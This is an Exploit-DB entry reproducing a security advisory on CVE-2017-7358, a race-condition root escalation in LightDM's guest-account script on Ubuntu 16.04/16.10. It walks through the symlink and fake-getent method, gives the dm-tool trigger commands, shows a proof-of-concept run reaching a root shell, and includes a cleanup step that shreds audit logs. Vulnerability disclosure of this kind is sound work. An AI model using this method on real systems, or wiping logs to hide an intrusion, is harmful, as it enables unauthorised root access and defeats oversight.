标题: LightDM (Ubuntu 16.04/16.10) - 'Guest Account' Local Privilege Escalation EDB-ID: 41923 CVE: 2017-7358 类型: LOCAL 平台: LINUX 发布日期: 2017-04-25 漏洞利用脚本: Source: https://blogs.securiteam.com/index.php/archives/3134

Vulnerability Summary
The following advisory describes a local privilege escalation via LightDM
found in Ubuntu versions 16.10 / 16.04 LTS.

Ubuntu is an open source software platform that runs everywhere from IoT
devices, the smartphone, the tablet and the PC to the server and the
cloud. LightDM is an X display manager that aims to be lightweight, fast,
extensible and multi-desktop. It uses various front-ends to draw login
interfaces, also called Greeters.

CVE Details
CVE-2017-7358 <https://nvd.nist.gov/vuln/detail/CVE-2017-7358>


Vulnerability Details
The vulnerability is found in *LightDM*, which is the Ubuntu’s default
desktop manager, more specifically in the guest login feature. By default
*LightDM* allows you to log into a session as a temporary user. This is
implemented in a script called ‘*guest-account*‘.

Description: Display Manager
LightDM is a X display manager that:
  * Has a lightweight codebase
  * Is standards compliant (PAM, ConsoleKit, etc)
  * Has a well defined interface between the server and user interface
  * Cross-desktop (greeters can be written in any toolkit)

@ubuntu:~$

The script runs as root when you view the login screen, also known as a
greeter, to log in as a guest. Ubuntu’s default greeter is Unity Greeter.


*Vulnerable code*

The vulnerable function is ‘*add_account*‘.

35   temp_home=$(mktemp -td guest-XXXXXX)
36   GUEST_HOME=$(echo ${temp_home} | tr '[:upper:]' '[:lower:]')
37   GUEST_USER=${GUEST_HOME#/tmp/}
38   [ ${GUEST_HOME} != ${temp_home} ] && mv ${temp_home} ${GUEST_HOME}

The guest folder gets created using ‘mktemp’ on line 35. The attacker can
use ‘*inotify*‘ to monitor ‘*/tmp*‘ for the creation of this folder.

The folder name will likely contain both upper and lower case letters. Once
this folder is created, we grab the folder name and quickly and create the
equivalent folder with all letters lower case.

If we manage to race the ‘*mv*‘ command on line 38, we end up with the
newly created home for the guest user inside the folder we own.

Once we have the guest home under our control, we rename it and replace it
with a *symbolic link* to a folder we want to take over. The code below
will then add the new user to the OS. The user’s home folder will already
point to the folder we want to take over, for example ‘*/usr/local/sbin*‘.

68    useradd --system --home-dir ${GUEST_HOME} --comment $(gettext "Guest")
--user-group --shell /bin/bash ${GUEST_USER} || {
69      rm -rf ${GUEST_HOME}
70      exit 1
71    }

The attacker can grab the newly created user’s ID and monitor ‘
*/usr/local/sbin*‘ for ownership changes. The ownership will be changed by
the following ‘*mount*‘.

78  mount -t tmpfs -o mode=700,uid=${GUEST_USER} none ${GUEST_HOME} || {
79    rm -rf ${GUEST_HOME}
80    exit 1
81  }

We will remove the symbolic link and create a folder with the same name –
to let the guest user to log in. While the guest is logging in, his path
for finding executable files will include ‘*bin*‘ under his home folder.

That’s why we create a new symbolic link to point his ‘*bin*‘ into a folder
we control. This way we can force the user to execute our own code under
his user ID. We use this to log out the guest user from his session which
is where we can gain root access.

The logout code will first execute the following code:

156  PWENT=$(getent passwd ${GUEST_USER}) || {
157    echo "Error: invalid user ${GUEST_USER}"
158    exit 1
159  }

This code will be executed as the owner of the script, i.e. root. Since we
have already taken over ‘*/usr/local/sbin*‘ and have planted our own ‘
*getent*‘, we get to execute commands as root at this point.

Note – We can trigger the guest session creation script by entering the
following two commands.

XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool
switch-to-guest


Proof of Concept

The Proof of Concept is contains 9 files and they will take advantage of
the race conditions mentioned above.

   1. kodek/bin/cat
   2. kodek/shell.c
   3. kodek/clean.sh
   4. kodek/run.sh
   5. kodek/stage1.sh
   6. kodek/stage1local.sh
   7. kodek/stage2.sh
   8. kodek/boclocal.c
   9. kodek/boc.c

By running the following scripts an attacker can run root commands:

@ubuntu:/var/tmp/kodek$ ./stage1local.sh

@ubuntu:/var/tmp/kodek$
[!] GAME OVER !!!
[!] count1: 2337 count2: 7278
[!] w8 1 minute and run /bin/subash

@ubuntu:/var/tmp/kodek$ /bin/subash
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~#

If the exploit fails, you can simply run it again.

Once you get your root shell, you can optionally clean any exploit files
and logs by executing the below.

root@ubuntu:/var/tmp/kodek# ./clean.sh
/usr/bin/shred: /var/log/audit/audit.log: failed to open for writing: No such
file or directory
Do you want to remove exploit (y/n)?
y
/usr/bin/shred: /var/tmp/kodek/bin: failed to open for writing: Is a
directory
